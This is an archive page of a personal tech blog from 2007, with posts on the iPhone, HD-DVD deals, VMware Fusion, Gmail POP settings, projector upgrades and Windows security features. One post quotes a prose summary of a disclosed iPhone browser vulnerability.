Ugh. So much for checking out the latest versions of the Live apps that I have come to know and love (well, at least like a lot). I also tried installing a couple of the individual apps, and got the same error message. I'm glad I got the previous beta version of Live Writer downloaded last night, since it works on x64 just fine...

Apparently, according to the release notes, 64-bit Vista is not supported at all for installation in this beta release:

64-bit is not supported for Beta 2
Beta 2 does not support a 64-bit installation; however the final version of Windows Live will support 64-bit (with the exception of Family Safety). You have the choice of either continuing to run the Beta 1 versions of Windows Live or you can uninstall all Windows Live applications and reinstall the released versions. For more information see KB Article 938275.

Unfortunately I can't seem to find the referenced KB938275 anywhere on microsoft.com yet.The final version will support 64-bit, though. Is it just me, or does that sound backwards? I understand the need to make things work in a limited beta environment, but almost every new machine out there is 64-bit. Just doesn't make sense to me. Looks like Robert McLaws agrees.

Oh well. I'll wait. I really wanted that Live Writer update. <sigh>



Add/Read: Comments [2]
Tech
Wednesday, September 05, 2007 4:37:38 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

iphone-cut-price Glad I didn't buy one yesterday. I thought about it. Considered it. Decided it was too much money at $600. Now it's $399. It can't feel good to me the proud owner of an 8GB iPhone that was purchased before today though. Ouch.

UPDATE: Om Malik points out that if you bought one in the past 14 days at the old price, you should be eligible for a refund of the difference. He quotes the Apple return policy:

Should Apple reduce its price on any Apple-branded product within fourteen (14) calendar days of the date of purchase, you may request a refund of the difference between the price paid and the current selling price. An original purchase receipt is required, and you must request your refund within fourteen (14) calendar days of the price reduction.

Now that it's in my range I can reconsider, but then again there probably won't be any in stock to grab. Heh.

Read about it pretty much everywhere, including here.

Decisions, decisions...



Add/Read: Comments [3]
Mobile | Tech
Wednesday, September 05, 2007 11:58:37 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, August 28, 2007

blu-ray_hd-dvd_logo I just saw a post over at digitalmediathoughts.com that points out an unadvertised sale at Amazon.com on HD-DVDs and Blu-Ray discs. So, I went to Amazon and got three movies for the price of two - I can confirm it's for real. no idea how long it will last, but if you're a HD disc person, it's a good deal on some flicks.

Not all titles are available. You have to put them in your basket (no one-click) and then "proceed to checkout," and then you will see the credit for the lowest priced disc under "Promotion Applied" (see my order below).

UPDATE: Here is a link to Amazon.com where they have a list of all the movies that are eligible for buy two get one free (for HD DVD):

Buy Two HD DVDs and Receive a Third Title for Free

Select any three titles from the list below and get one of them free. The promotional discount will be applied at checkout. You will see a credit in your shopping cart. Limit two of each title per customer. Quantities are limited; order now before we run out.

Cool.

     amazon-order-hds

Obviously, I could have been better off to choose three discs priced at $27.95, but you get the point.

Get it while it's still there. Enjoy.



Add/Read: Comments [1]
Tech
Tuesday, August 28, 2007 11:27:04 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, August 27, 2007

I'm a little more behind the times these days than I tend to want to admit. Management work, flying all over the place, integrating two companies and the day job will do that to a technologist, let me tell ya. So, I was pretty amazed otday when I finally got to see some cool stuff I have been hearing about lately.

I have an older Mac Mini in the kitchen at home and that's the extent of my Mac world: Checking the day's weather, doing an occasional Google search, getting movie times - and applying seemingly weekly OSX and app updates.

Sidebar: I'm leaving my place of work after this week and moving on to new things, so I have been thinking about laptops (I have used a work laptop for pretty much everything up til now). I have been looking at Lenovo machines and some Dells as well, but someone mentioned running Windows apps on a Mac recently, and I started thinking about that this evening.

There's a cool app called Parallels that lets you run Windows apps on the Mac. People have told me it's really cool. But my friend of many years, Chris Pirillo, told me tonight to look hard at VMWare Fusion. Chris is a geek's geek and you might know him from his Lockergnome empire or from when he was on TechTV a while back (obligatory funny link here, heh). Anyhow - He cares desperately about usability and product quality. My area is more infrastructure, so we compliment each other. When he says look at Fusion, I listen. When I say look at RackSpace for hosted exchange, he listens.

Chris runs this great live video show online, and when I IMed him this evening to ask him what he thinks about running Windows apps on the Mac, he was pretty emphatic and told me to turn on the video feed:

Greg Hughes says: have you run windows on the macbookpro? with that program that lets you do that things where you can run windows apps in OSX and all that?
Greg Hughes says: i liked the idea of running a native windows app in OSX
Chris Pirillo says: Vmware.
Greg Hughes says: parallels?
Chris Pirillo says: Vmware fusion
Chris Pirillo says: Trust me, d00d.
Greg Hughes says: k
Chris Pirillo says: TRUST ME
Chris Pirillo says: Perf + seamless
Chris Pirillo says: Here.
Chris Pirillo says: watch
Greg Hughes says: k
Chris Pirillo says: No, i mean - watch the vid.
Greg Hughes says: one sec
Greg Hughes says: ok am watching...

Then he proceeded to show me via the live video feed (along with everyone else in his viewing and chatting audience) how incredibly slick VMWare Fusion is, and why I should look at it instead of Parallels. Both are cool apps, but the VMWare seems really cool for performance.

This stuff is really amazing, and this is a great example of something that's a lot easier to explain by showing it to you.

Chris has an archived video (see below) and a related blog post where he did a comparison of the two products (Parallels vs. VMWare Fusion). If you have not checked out Chris' video show, it's pretty slick, he does call-in's for tech support and all sorts of stuff -- and http://live.pirillo.com is the URL to watch.

I'm looking forward to playing around with this stuff. My inner geek is waking up and getting a bit excited. I need to find a Mac notebook to see how this stuff works, then write some more I think. Should be fun.

Here's Chris' archived video where he discusses the VMWare Fusion and Parallels software products:


Thanks Chris, and I just realized that's two "Holy Craps" in one day here. Nice. :)


Add/Read: Comments [2]
Tech
Monday, August 27, 2007 10:40:33 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

This one should be interesting to watch. There's a new blog at Microsoft's MSDN blogs system called hackers @ microsoft (http://blogs.msdn.com/hackers/), and the first (introductory) post is up. I hope to see some interesting security and general information here. Might be a good source of some useful insight. There are many things Microsoft is doing right these days, security-wise. More on that in another post some other time.

From the opening post on hackers @ microsoft:

"Welcome to a new blog from Microsoft.  The focus of this blog is likely to be a little different from most other blogs you'll see on blogs.msdn.com.  Microsoft employs some of the best hackers in the world and actively recruits them and develops them.  They work on all kinds of projects, whether it be in development, research, testing, management and of course security ... So yes, Microsoft does have hackers, and its time to introduce you to some of them and show you what it is, exactly that they do."

Cool. Subscribed.

(via betanews.com)



Add/Read: Comments [0]
IT Security | Tech
Monday, August 27, 2007 10:22:20 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

John Nack at Adobe links to a video that I saw up on YouTube as well the other day after a friend sent me link, where a couple of incredibly smart people have presented a new way to resize (and otherwise edit) images. And apparently, according to Nack, one of those smart people - Shai Avidan - is working at Adobe now. Here's the video:

Technically, it's very interesting, even amazing to watch. From a pure photojournalism ethics standpoint, it's certainly to be considered as yet another real concern to those who work in the field. As much of a technology geek as I am, I was a photojournalist long before I got heavy into computers. As soon as I started watching the video my thoughts were as a former news photographer: "Wow, that's a lie." Proof again why art and reporting are not even close to the same thing, and why so few people with a camera fit into both the artist and reporter skins. You don't need to anymore, you can just cheat. Or at least that's what some people would call it.

It's becoming easier and easier to take liberties with the truth when it comes to recording scenes. With the continued technological progress in digital imaging pretty much anyone with a few bucks for some software and a computer (or even without a few bucks if their ethics are truly in the toilet) can create some pretty compelling imagery. But the easy way out doesn't do it for me... I prefer the actual scene, and non-story-telling edits limited to things like cropping, minor exposure compensation, lint removal and color/white balance. At least that's the way I feel with regard to photos that need to carry the journalism label (and for the most part for my photos, as well).

Artists and anyone creating images for effect as opposed to telling a true story, you can go for it. I won't count it against you too much, heh. But I think I'll just try to stick to taking a good natural picture. :-)



Add/Read: Comments [6]
Random Stuff | Tech
Monday, August 27, 2007 9:45:06 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, August 25, 2007

The Satellite Alignment Calculator over at UKSatelliteHelp is a great resource that allows you to choose the satellite(s) you need to point your dish at, specify your address, drag a pointer to the spot on your home or building where the dish is, and from that determine the specific angle and elevation you need to use to get a signal.

It also provides a visual representation of the direction to the satellite by drawing a line on the map, so you can see what landmarks fall in the path of the line of sight.

Satellite Alignment Tool Sample

It's a great tool and works great in the United States and elsewhere, not just in the UK. For example, all the Dish Network and DirecTV sats are listed and can be aimed with the information from this service, as well.

(via jkOnTheRun and Hacks)



Add/Read: Comments [2]
Tech
Saturday, August 25, 2007 10:07:20 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, August 23, 2007

My good friend Scott Hanselman just published the latest annual installment of his Ultimate Developer and Power User's Tool List, which you can always see the most recent version of over at http://www.hanselman.com/tools. As usual, it's a great list of the many, many, many, many pieces of software and sources of information - big and small - that Scott has found make his life as a developer and power user better. I love this list and it's fun when he updates it. Look for the new items this year (there's like 50 of them) in red.

Also, while you are there, take a minute or two and contribute a couple bucks to Team Hanselman in the fight against diabetes. The team has an incredible goal of raising $50,000 to go to fighting the disease, and as of this writing is almost half way there. Every penny counts, so give what you can if you can. And get a tax deduction. Click here to donate.

Add/Read: Comments [0]
Geek Out | Helping Others | Tech
Thursday, August 23, 2007 5:23:54 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, August 14, 2007

Minutes ago and well in time for the Tuesday release goal on the West Coast, Omar released dasBlog v2.0 on Sourceforge, which as Scott mentioned a few days ago runs under the .NET framework v2 and supports medium trust deployment.

dasblogbannerimagedasBlogv2.0releas.0andmediumtrustsupport_1387E/dasblogbannerimage_2.png" width="500" border="0">

Downloads can be found dasBlogv2.0releas.0andmediumtrustsupport_1387E/dasblogbannerimage.png" target="_blank">here for source and compiled web files.

I'll upgrade soon (when I can find enough free minutes, probably later in the week). The dasBlog dev team is also pushing ahead with a version that will take advantage of the .NET 3.5 framework and should be very, very cool as well. So, lots there now and lots more to come!

I'll update here with details (or more likely a link to someone else's details list) soon.



Add/Read: Comments [0]
Blogging | Tech
Tuesday, August 14, 2007 9:27:44 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

imageI just ran across Microsoft.com's strong password checker, which is a little web-based app that lets you type a password or passphrase in and it tells you the relative strength. It's pretty nice and worth bookmarking.

Why are strong passwords important? Simple - because the simpler it is, the easier it is for someone to "brute-force" attack. That's a term that means they take a program that uses common terms, words and phrases to try to figure out your password by trying it over and over until it works. Strong passwords are complex in the variety of character types, are longer in size and don't use dictionary or other predictable, common terms.

Links:



Add/Read: Comments [1]
IT Security | Safe Computing | Tech
Tuesday, August 14, 2007 9:02:12 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, August 01, 2007

Well, Amazon.com be praised... My new projector is here - The Epson PowerLite Home Cinema 1080 projector, along with a fresh-off-the-press copy of 300 in HD-DVD, a home theater HD-DVD calibration disc, The Matrix Ultimate Collection in HD-DVD (sense a theme yet? heh...) and a VGA cable for my Xbox 360 (which the the one that will let the HD-DVD player get output in true 1080p format - we will see how that goes).

   IMG_0329

Gonna be a fun evening at home. I'll post a review with details once I get my hands dirty. This projector is replacing my old Infocus X1, so I am upgrading from a 800x600 native image to a full 1080p (1920x1080) image and a much newer set of technologies behind it. Should be pretty amazing.

More to come. Time to go geek out for a while.

Quick Update: A-MA-ZING. Like as in wow. Watching the movie "300" in full 1080P at 130 or so inches projected size (I'll have to measure to be sure) is visually amazing. It doesn't even look like a video projection - you can clearly see the film grain and the screen door effect is non-existent. More later, I can't stop looking right now. And after a quick try, Xbox 360 games and HD TV both look amazing, too.



Add/Read: Comments [5]
Tech
Wednesday, August 01, 2007 1:43:36 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Microsoft's Windows Live Folders (Beta) is (another) service that allows you to upload your files to a secure, remote, backed-up, high-availability server system so you can access them from anywhere on the Internet with a web browser and your Windows Live ID account information. It's a pretty basic service, but it's clean and functional and that counts. You only get 500MB of storage (did I just say "only??"), so it's not (yet) a place to back up your entire hard drive or even a large number of pictures or other binary files, and there is a 50MB per-file limit. The service is currently in a limited release while it's in beta, but you can sign up and get in at some point.

You can store files in one of three ways:

  • So only you can access them (personal files and folders)
  • So only those you specify can access them (shared files and folders)
  • So anyone can access them (public files and folders)

Below are a few screenshots. When you first log in and see your new account, you have 500MB of free space available. The graphical representation of the system functionality is nice and clean and very easy to understand. Anyone could use this stuff, it's plenty intuitive:

   Live Folders - 500MB

Once you choose how you want to store your files (in this case I chose Personal folders), you're presented with the opportunity to create or choose folders to store them in:

   Live Folders - Choose a folder

Then you can choose, as expected, which files you want to upload using a standard Browse dialog (below). It would be nice to have a tool I could run to choose a whole directory, or multiple files in a single dialog, or even that I could just drag-and-drop onto. Maybe someone else will write one (or already has for all I know).

   Live Folders - Choose Files to Upload

Once you upload your file, the details page for the document (file) can be seen and reviewed. Options exist to rename, delete, etc:

   Live Folders - File Details

All in all it's a good start. I am hopeful that larger storage and bulk upload tools will become available. If that happens, this will be a viable contender in the online storage market. But hey, it's beta and it's free, so it's hard to complain. :)



Add/Read: Comments [2]
Tech
Wednesday, August 01, 2007 1:32:36 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Want to quickly track your package being shipped by UPS, just type the word "track" followed by your tracking number into the Google search box and click. Google will help you find the info. In fact it look like you can just type the number in and Google figures it out for you.

track_with_google

Cool stuff. I don't have a FedEx or DHL package to track right now - but they say those work, too. Looks like Google automatically recognizes tracking numbers from UPS, USPS, and FedEx. But if you have a DHL tracking number, you can precede it with "dhl" on your search string. For example, something like "dhl 1234567890123" should work.

Or try isnoop.net's visual online tracking tool to map out your tracking information. Not sure what real value that adds, but hey it's really cool if you're watching your Amazon or Woot shipment with great anticipation. :)

track_maps_isnoopnet



Add/Read: Comments [6]
Random Stuff | Tech
Wednesday, August 01, 2007 9:21:24 AM (Pacific Standard Time, UTC-08:00)
#  Trackback

Recent security issues revealed by a group of security researchers, which will be showcased this week at the Blackhat conference in Las Vegas, are apparently dealt with via an update to the iPhone software released last night by Apple. You can read the change-log here.

Time to load up iTunes, all you iPhone users, and get your security fixes.

Also, looks like the Engadget guys seem to think Safari runs better in general and Boy Genius Report has a few non-security-related fixes/changes they have found.



Add/Read: Comments [0]
IT Security | Safe Computing | Tech
Wednesday, August 01, 2007 7:36:17 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, July 30, 2007

Ouch, this news is a few days old but I am just catching up on security reading and ran across this one. The securityevaluators.com guys have found some real issues with the iPhone's security and have been able to exploit it. The New York Times and others have covered this recently. Seems much of the iPhone application library runs as admin/root. The overall design of the iPhone seems to rely in large part on preventing apps from running, rather than creating a robust security environment. But leverage browser vulnerabilities or similar issues on a hacked wireless network or Internet web site and it can get very interesting very quickly.

From the executive summary in the findings document:

To demonstrate these security weaknesses, we created an exploit for the Safari browser on the iPhone. We used an unmodified iPhone to surf to a malicious HTML document that we created. When this page was viewed, the payload of the exploit forced the iPhone to make an outbound connection to a server we controlled. The compromised iPhone then sent personal data including SMS text messages, contact information, call history, and voice mail information over this connection. All of this data was collected automatically and surreptitiously. After examination of the file system, it is clear that other personal data such as passwords, emails, and browsing history could be obtained from the device. We only retrieved some of the personal data but could just as easily have retrieved any information off the device.

Additionally, we wrote a second exploit that performs physical actions on the phone. When we viewed a second HTML page in our iPhone, it ran the second exploit payload which forced it to make a system sound and vibrate the phone for a second. Alternatively, by using other API functions we discovered, the exploit could have dialed phone numbers, sent text messages, or recorded audio (as a bugging device) and transmitted it over the network for later collection by a malicious party.

This is the sort of thing I was afraid of when I wrote about the potential for iPhone security and use in the enterprise. Security vulnerabilities are not just about the Windows platform, after all. Here's a mobile platform, effectively in v1, and it has flaws that can be readily exploited. Hopefully Apple will be able to get some patches ready and out before the these evaluators release the details the evening of August 2nd at the Black Hat conference, which is where the researchers - who have already provided Apple with the full details so they can create and distribute a fix - will be presenting their discoveries.



Add/Read: Comments [0]
IT Security | Mobile | Tech
Monday, July 30, 2007 2:00:39 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, July 28, 2007

Recently I mentioned that my older Infocus X1 projector's lamp has about a zillion hours on it and I had to do a reset of the timer to keep it running. Also, a month and a half ago I discussed my research into 1080p home theater projectors as I thought about stepping up in quality and capability to replace the X1. The thing that's been holding me back is price relative to what you get in the high-def world. I have the Xbox 360, HD-DVD and a satellite receiver that does 1080p images, so that's what I have been looking into. Sure, you can spend like $5,000 and get a pretty incredible projector, and just a couple years ago you couldn't buy a 1080p projector for less than probably $30K.

Epson Projector - PowerLite Home Cinema 1080I know I want to replace the old projector I have. But I really don't want to spend $5K. Maybe half that amount would be okay, but not much more. So I put my research hat back on today and discovered Epson recently released their PowerLite Home Cinema 1080 projector for home theater. It's super-bright, has a great picture, it's a three-LCD setup, and gets some great reviews. It's practically identical to the 'pro' model of the same line but costs literally $2,000 less. Most notably the retail price is just under $3,000 and for the next few days (til the end of July) there's a $300 mail in rebate from Epson.

Needless to say, I am considering making the move. I'll take some more time to weigh my options and keep researching. I do wonder what (if anything) Epson will do for an incentive once this month's rebate period runs out, but hey who knows...

As I type this, my X1's fan is starting to make a noise like the fan bearings are going bad. Not a good thing. Murphy's law, really. It may be time to break that thing open and clean it out so I can make it last as long as possible, but from the sounds of it I think it may be on its last legs.

Anyone have any experience with the Epson PowerLite Home Cinema 1080 projector? Or have a good alternative I should be considering? Let me know!

UPDATE: I ordered one, so the Epson is my choice for a new projector. Review to come after it arrives Wednesday (Amazon Prime rocks) and I get a little time with it.



Add/Read: Comments [0]
Tech
Saturday, July 28, 2007 7:23:32 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

I recently (meaning a couple months ago) dumped my increasingly unreliable and time-consuming self-hosted POP and SMTP email server in favor of one of the big hosted service options available for free from a variety of sources. In my case I looked at several of the more ubiquitous options, and chose to go with Google Apps for my domain. A close second was Windows Live Custom Domains from Microsoft, but a couple missing critical features prevented me from going that route (namely access to my email via POP3). Since I am not worried about either company going away or anything, I went with the one that seems to best fit my needs as far as features and functionality are concerned. Getting the Blackberry client app for Google mail was another bonus.

However, I ran into two frustrating problems when I set up the Google Mail for greghughes.net and started accessing the email server via POP access from Thunderbird and my Blackberry Internet service.

First, I found that in some cases, once an email had been downloaded by any POP client, no others had access to download it. This is a problem if you're relying on having your email available in more than one place as I have taken for granted before.

Second, any emails sent to my own email address - the same one associated with the account - simply would not download via POP3 access, ever. Since my weblog sends email to me from my own email address (as do a couple other apps), this was a real problem. I could not really change the behavior of my applications, since doing so would break other aspects of the systems. Besides, every other mail server with POP3 support had always worked the same way (and worked just fine), so why was Google Mail's so different?

Well, it turns out there is a not-so-obvious option (not used by default) that allows you to resolve both of these issues. It's called "recent mode." Google explains it in their help in the context of the "how do I use multiple clients" issue, but the problem related to POP-ing messages sent to 'Me' is resolved as well. The solution relates to putting an overload modifier on the front end of the email account name when you log in (a little weird and probably sloppy, but perfectly functional). It's explained below. Too bad one can't just toggle the functionality as a permanent setting in the Google Mail web interface (you can set it for a one-time download option, but it always reverts to the default after that, so it appears the below option is the only way to permanently resolve this).

To solve the problem, you have to modify your login in your POP settings with the overloading prefix:

"yourname@yourdomain.com"

 needs to change to:

 "recent:yourname@yourdomain.com"

The following information is snipped from the Google GMail help center (since this applies to both the general GMail and Google Apps mail services):

If you're accessing your Gmail using POP from multiple clients, Gmail's recent mode makes sure that all messages are made available to each client, rather than only to the first client to access new mail.

Recent mode fetches the last 30 days of mail, regardless of whether it's been sent to another POP client already.

If you sign in to Gmail using your Blackberry, you're signed in to recent mode automatically. For all other POP clients, replace 'username@gmail.com' in your POP client settings with 'recent:username@gmail.com'.

Source: Gmail - Help Center - How should I use POP on mobile or multiple devices?



Add/Read: Comments [7]
Tech
Saturday, July 28, 2007 2:09:25 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, July 26, 2007

I have used an Infocus X1 projector as my relatively inexpensive but good enough home theater equipment for a few years now. It's served me pretty incredibly well. We put a lot of hours on it, between the zillion movies, satellite TV, and extensive Xbox/Xbox360 use. It's not HD resolution and I will soon upgrade (as I have mentioned before), but for not it does the trick.

Anyhow, the other day we turned the projector on and it displayed a warning that there were only like 8 hours remaining on the bulb timer. When they released the projector, as I recall they rated the lamp (and timer) at 3,000 hours. Since then they re-rated it at 4,000 hours. Some people get that much out of a bulb, others don't.

Today my friend Cory and I went to start a movie (Wesley Snipes is The Contractor) and the projector would not fire up the lamp. Enough use had taken place in the past few days since we first saw the timer warnings to ensure the timer had run out. Even though the bulb was not burned out, the projector would not turn it on. I started searching for replacement lamps online and found I was going to have to spend between $260 and $300 in order to replace it (ouch - like I said, time for a new projector at this rate).

While searching for lamps, I decided before I spent that kind of money on a projector I intend to replace that maybe I should ask the Google gods a question in the form of keywords: x1 projector bulb timer wont start. I was lucky, even if I was not necessarily feeling it. The first search result was an Infocus support page that told me exactly what to do at the very end of the long list of equipment (it covers every other projector they have made in detail).

If your X1, X1a, X2, X3 projector's bulb timer has run down to nada and the bulb won't light anymore, do this: Power on the projector and you will probably see a flashing red light on the control panel. Press and hold the Volume + and the Volume – buttons simultaneously for 10 seconds. The projector will reset the lamp counter to zero hours and the lamp will start. Note that what I probably should have done when I started seeing the warning was to reset the timer to zero using the on-screen menu system, but once it goes dead the volume button reset is your only choice.

Turns out the same or a similar tactic applies to a number of their other projectors, too. Check here to find out what to do for your model.



Add/Read: Comments [1]
Tech
Thursday, July 26, 2007 10:01:40 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Well here's news via Digital Media Thoughts that the cost of the HD-DVD player for the Xbox 360 is suddenly cheaper. I bought mine about a month ago. I don't suppose they'll grandfather me in? Probably not...

"Today at Comic-Con International 2007, Microsoft Corp. announced it will lower the price of the popular Xbox 360(TM) HD DVD Player from $199 to $179 ERP (United States only) starting Aug. 1, 2007, and will add five free HD DVD movies for anyone purchasing an Xbox 360 HD DVD Player between Aug. 1 and Sept. 30. In addition, Microsoft further solidified the Xbox 360 as the ultimate high-definition (HD) entertainment platform, with key announcements around the HD DVD launches of "300" from Warner Bros. Home Entertainment Group and "Heroes: Season 1" from Universal Studios."

This is a great deal, but let me give you even more incentive: most of the Xbox 360 HD DVD drives on store shelves also include the media remote, and King Kong on HD DVD. On top of that, through the Xbox Live Rewards program (which is free), you can get an additional 10% off at Circuit City. So to sum up: the drive, the remote, and six movies, for just $162. Hell of a deal!

Source: Digital Media Thoughts



Add/Read: Comments [3]
Tech
Thursday, July 26, 2007 12:30:57 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, July 24, 2007

Hanselborg Every now and then, despite the loss you feel and experience when someone leaves your place of work for something new, you get that true sense of "Wow!"

That's definitely the case this time around.

Scott Hanselman, with whom I have had the privilege to work for many years, has accepted a job at Microsoft where he will be diving into technology like never before - and that's really saying something. You may know his weblog and his podcast. Now he'll be inside Microsoft and as such delivering even more useful and thoughtful information and detail.

Congratulations, Scott. It's a big loss for the company to be sure, but a terrific gain for the broader community and a great opportunity for you. You're going to be awesome.



Add/Read: Comments [0]
Random Stuff | Tech
Tuesday, July 24, 2007 7:53:56 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, July 16, 2007

The other day John Batdorf, a sharp guy I work with, stopped me in the hallway and dropped me an email note (which he sent from his iPhone of course) regarding my recent comments about my 10-minute experience with the iPhone. He bought one on the first day and has a great write-up about his experience with the device on his blog.

Specifically, he wanted to get me to check out the on-screen keyboard and the fact that my experiences with key-misses are actually dealt with in software by the iPhone.

Just thought I would mention how great the keyboard really is. Even
when you miss the correct key while typing a word the phone does an
excellent job figuring out the correct word.

I probably missed ten to twenty words above and the phone got them all
right. This entire email took me about one minute to type.

John

Sent from my iPhone

John Batdorf
I'm glad John caught me, handed over his iPhone for a few minutes, and let me have another go at the on-screen keyboard. Sure enough, for the most part if I hit an adjoining key while typing characters, the device was able to figure out what I'd screwed up and correct it for me. Not too shabby.
 
So, I stand corrected. The keyboard's quite a bit better than I first thought. One more plus for iPhone.


Add/Read: Comments [2]
Mobile | Tech
Monday, July 16, 2007 10:34:11 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, July 11, 2007

Want to know how many minutes you have used this month? Turns out the mobile phone companies have some not-so-well-advertised numbers you can dial to find out exactly how many minutes you've used. They are:

  • #646# for Verizon and T-Mobile
  • *646# for at&t/Cingular
  • #4 for Sprint

Another tidbit of info to help watch the bottom line... Using directory assistance (411) service through the carrier can be quite expensive. So, consider using the Free411 service at 1-800-FREE411 (or 1-800-373-3411 for us numerically-challenged Blackberry types). The cost of using it is actually free, unless you consider the time it takes to listen to a short advertisement on each call. Heck, to save a buck a call, it's worth it I think.

Google Mobile allows you to send a text message to 46645 (google on the keypad) and get back all sorts of information. Check the Google Mobile page to learn about all the cool things you can do there. 

For business directory information, you can also call Google up at 800-GOOG-411 (800-466-4411)

Source: discovery.com/geek



Add/Read: Comments [6]
Mobile | Tech
Wednesday, July 11, 2007 8:52:08 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Yesterday my cyber-savvy, recently-retired and way-cool mom chatted me up on IM and asked me what she should do, because she was considering ditching the home phone, getting another cell phone so they can both have one, and using text messaging for spouse communication. Heh. Makes me wonder what kind of technology - you know, in "all the kids these days are using it" fashion - I'll be picking up on in 20 or so years. :)

Her goal was to save a few bucks, plus to get the advantages of text messaging to overcome some of the limitations with hearing impairments and cell phones. I suggested she look at her overall bundles plan with Quest, because right now they get mobile phone, Internet and home phone services all together.  She might also want to look at VoIP as an option, I suggested, but mostly she should call the phone company and talk to them about what unbundling would mean in terms of price. Also, telcos changes their offerings over time, and a bundle deal you got a year or two or three ago might not be the best deal available today.

As is often turns out, it was worth the call:

mom says:
I checked in with Quest (they are partnered with Sprint as it turns out) and the nice young fellow brought my various plans and bundling things and services more into line with current offerings and our usage....so, I saved about $45 a month with that little chat--good advice on your part.  I am going to get Jack a phone he can use so we can text message as a way to communicate.

Greg Hughes says:
cool

Greg Hughes says:
its always good to check in with them once a year to see if they can rebundle

mom says:
right, I just had not given it much thought until lately

Greg Hughes says:
they count on that heh

Just more proof that it's always pays to check in with your telco company and see what they have going. You could save some pretty serious bucks by doing so.



Add/Read: Comments [0]
Random Stuff | Tech
Wednesday, July 11, 2007 5:27:54 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, July 09, 2007

One of the cool new features in Windows Server 2008 (which is currently available in beta) is Network Access Protection. This feature allows network admins to set up comprehensive network controls to allow access only to the proper computers and users, and based on a set of "health" criteria determined by the admin. For example, let's say you want to require antivirus software to be up to date and patches installed before allowing a VPN connection to the LAN. NAP lets you do that. Wireless and wired networks can be significantly enhanced for local and remote access. It's the next wave of access management and control, and any IT network admin needs to get familiar. This is leaps and bounds above the "NAP-lite" capabilities from Server 2003.

This podcast interview with Jeff Sigman covers the subject well, and give you a quick preview into what the capabilities are. Listen, download the beta and give it a try.

RunAs Radio Show #13 | 7/4/2007 (34 minutes)
Jeff Sigman Gives Us Network Access Protection

The final installment of interviews from Microsoft Tech Ed US 2007 in Orlando, Richard and Greg talk to Jeff Sigman, the Release Manager for Network Access Protection (NAP). Jeff digs into exactly what NAP is all about, how it interact with Windows Server 2008, Vista and Windows XP.

Links: RunAs Radio web site and RSS feed

As always, we welcome your input and ideas for the show - Just email info@runasradio.com and let us know what's on your mind! We might even read your email on the air, and we are always interested to know what you would like to hear more about as we book our guests.



Add/Read: Comments [0]
IT Security | Safe Computing | Tech
Monday, July 09, 2007 2:17:23 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, July 02, 2007

I dropped by an at&t wireless phone store yesterday while out cruising around, and checked out the iPhone, which they have a large stock of apparently. I walked in and asked, "Do you have one I can look at?" The answer was "we have lots you can buy if you want to." I got the impression there are a lot of lookers but not a lot of buyers. They certainly are not having stocking problems.

iphone1 Anyhow, I spent about 10 minutes checking out the phone, and overall I was pretty darned impressed. Certainly the overall user interface is great, and the screen is pretty amazing. I like the clean, simple, intuitive UI for sure. The Apple architecture and usability people did some pretty amazing work, and this is their first phone.

So again - I'm quite impressed. I considered buying one on the spot and my impulse-purchaser controls kicked in and I left. Important to take the time to do things like breathe. And think. Stuff like that.

So, it's great. There were a few things, though, that I had a hard time getting past during my quick run with this device phone piece of electronic art.

One of those things is the on-screen keyboard. Unless you use a finger and type one letter at a time (no thumb-typing here for sure), it's just not workable. So, if you're sending quick messages a short line at a time you're okay. But typing longer emails or notes won't work from a practical standpoint. For most users that's probably okay. For me that's a big deal.

Next, there's no 3G support - just EDGE. Which is cool in terms of keeping battery consumption minimal but not so fun in terms of data speed. However, the iPhone has WiFi capability, so in some cases there's a fast option.

One more thing I noticed - or at least could not intuitively find - is a lacking ability to copy and paste text. If someone knows how and it's possible, please let me know and I will go back and check that out.

Finally, the lack of some things that might be software-fixable (or I missed the options, so again, correct me if I am wrong): The camera appears to only do still pics, not video. I didn't see MMS capabilities but you can email images. I could not find a way to record audio. Again, all of these are software things so they can change (and this is, after all, the first release).

So - people have asked me the $600 question (I can't see buying the 4GB model, after all):

Will I buy one?

Not yet probably, but it's very very tempting.

I can actually see it happening soon though - and that's actually a surprise to me. I didn't expect to quite so won-over. It's that usable and that nice. Despite my nit-pick list above, overall I think it's great. The phone is sleek, fast, even artistic in it's UI experience. And the things it does, it does quite well. Everything else is left out (at least for now). That's refreshing compared to other models of "smart" phones that try to be everything to everyone and in the process get bogged down in their own usability, stability and performance weaknesses. Apple seems to know where to go as well as when to stop. Others could definitely learn a lesson from that.

Who else has tried one? What did you think?



Add/Read: Comments [3]
Mobile | Tech
Monday, July 02, 2007 10:35:52 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, June 28, 2007

